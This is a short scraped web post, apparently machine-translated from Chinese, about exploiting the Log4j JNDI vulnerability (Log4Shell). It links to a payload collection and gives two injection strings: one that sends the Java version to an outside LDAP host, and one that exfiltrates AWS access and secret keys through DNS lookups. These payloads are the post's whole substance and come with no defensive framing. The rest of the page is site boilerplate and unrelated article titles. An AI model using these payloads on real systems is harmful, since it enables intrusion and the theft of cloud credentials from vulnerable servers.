当前位置:网站首页>Log4j utilization correlation
Log4j utilization correlation
2022-07-05 13:40:00 【[email protected]】
relevant payload:https://gist.github.com/am1ru1/275af8ab41b12d72b94bd18ba779c51b
Information disclosure :
jndi Environment variables can be resolved , As shown below , Therefore, relevant information can be leaked
${jndi:ldap://secruitycompassadvisory.com/version=${env:JAVA_VERSION}}
It can also be used dns Take the data out
${jndi:dns:// ${env:AWS_ACCESS_KEY}. ${env:AWS_SECRET_KEY}}
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202140524137124.html
边栏推荐
- Asemi rectifier bridge hd06 parameters, hd06 pictures, hd06 applications
- Binder通信过程及ServiceManager创建过程
- CloudCompare——点云切片
- js判断数组中是否存在某个元素(四种方法)
- 今年上半年,通信行业发生了哪些事?
- "Baidu Cup" CTF competition in September, web:sql
- 53. Maximum subarray sum: give you an integer array num, please find a continuous subarray with the maximum sum (the subarray contains at least one element) and return its maximum sum.
- 【Hot100】33. Search rotation sort array
- [daily question] 1200 Minimum absolute difference
- Could not set property 'ID' of 'class xx' with value 'XX' argument type mismatch solution
猜你喜欢
MMSeg——Mutli-view时序数据检查与可视化
Datapipeline was selected into the 2022 digital intelligence atlas and database development report of China Academy of communications and communications
What happened to the communication industry in the first half of this year?
华为推送服务内容,阅读笔记
Huawei push service content, read notes
A detailed explanation of ASCII code, Unicode and UTF-8
真正的缓存之王,Google Guava 只是弟弟
Could not set property 'ID' of 'class xx' with value 'XX' argument type mismatch solution
一网打尽异步神器CompletableFuture
What are the private addresses
随机推荐
[notes of in-depth study paper]uctransnet: rethink the jumping connection in u-net from the perspective of transformer channel
Talk about seven ways to realize asynchronous programming
How to choose note taking software? Comparison and evaluation of notion, flowus and WOLAI
Rocky basic command 3
Android本地Sqlite数据库的备份和还原
Although the volume and price fall, why are the structural deposits of commercial banks favored by listed companies?
Datapipeline was selected into the 2022 digital intelligence atlas and database development report of China Academy of communications and communications
Can and can FD
Parsing XML using Dom4j
“百度杯”CTF比赛 九月场,Web:Upload
leetcode 10. Regular expression matching regular expression matching (difficult)
时钟周期
53. Maximum subarray sum: give you an integer array num, please find a continuous subarray with the maximum sum (the subarray contains at least one element) and return its maximum sum.
Resttemplate details
Laravel framework operation error: no application encryption key has been specified
真正的缓存之王,Google Guava 只是弟弟
私有地址有那些
What are the private addresses
jasypt配置文件加密|快速入门|实战
Win10 - lightweight gadget